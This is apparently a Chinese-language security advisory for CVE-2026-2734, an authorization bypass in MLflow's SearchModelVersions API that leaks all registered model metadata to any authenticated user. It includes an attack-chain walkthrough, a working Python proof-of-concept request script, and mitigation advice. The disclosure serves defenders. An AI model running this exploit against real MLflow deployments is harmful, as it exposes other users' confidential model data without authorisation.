IPBUF安全漏洞报告
English
CVE-2026-2734 CVSS 6.5 中危

CVE-2026-2734 MLflow权限绕过致信息泄露

披露日期: 2026-05-21

漏洞信息

漏洞编号
CVE-2026-2734
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MLflow

相关标签

权限绕过信息泄露MLflowCVE-2026-2734API安全

漏洞概述

MLflow 3.9.0及之前版本存在权限绕过漏洞。当启用基本认证时,SearchModelVersions接口缺乏必要的模型级授权检查,导致任何已认证用户均可枚举并获取所有注册模型的版本信息及敏感元数据。

技术细节

该漏洞源于MLflow在处理模型搜索请求时的授权逻辑缺陷。在REST API中,SearchModelVersions未包含在BEFORE_REQUEST_VALIDATORS和AFTER_REQUEST_HANDLERS列表中;在GraphQL中,该字段未列入GraphQLAuthorizationMiddleware.PROTECTED_FIELDS。因此,即使用户没有特定模型的访问权限,只要通过基础认证,即可通过发送搜索请求枚举全量模型数据,获取模型名称、源URI等敏感元数据。

攻击链分析

STEP 1
1. 获取凭证
攻击者获取MLflow系统中一个低权限用户的账号密码。
STEP 2
2. 发起未授权搜索请求
攻击者利用该凭证向SearchModelVersions REST API或GraphQL接口发送搜索请求,请求参数中不指定特定模型或设置为通配符。
STEP 3
3. 服务端逻辑绕过
由于服务端缺少对该接口的权限验证(BEFORE_REQUEST_VALIDATORS等),系统错误地认为该低权限用户有权查看所有模型。
STEP 4
4. 获取敏感信息
服务端返回所有注册模型的详细信息,攻击者解析响应数据,获取模型名称、版本、源URI等敏感元数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (MLflow REST API) target_url = "http://localhost:5000/api/2.0/mlflow/model-versions/search" # Valid credentials with low privileges auth = ("low_priv_user", "password") try: # Send GET request to search all model versions response = requests.get(target_url, auth=auth) if response.status_code == 200: data = response.json() print("[+] Authorization bypass successful!") print("[+] Leaked Model Versions:") for model in data.get('model_versions', []): print(f"Name: {model['name']}, Version: {model['version']}, Source: {model.get('source')}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

mlflow <= 3.9.0

防御指南

临时缓解措施
建议立即升级到修复版本。若无法立即升级,应严格限制MLflow服务器的网络访问,仅允许可信管理IP访问,并对API网关层增加额外的访问控制列表(ACL)以拦截对/search端点的非必要调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表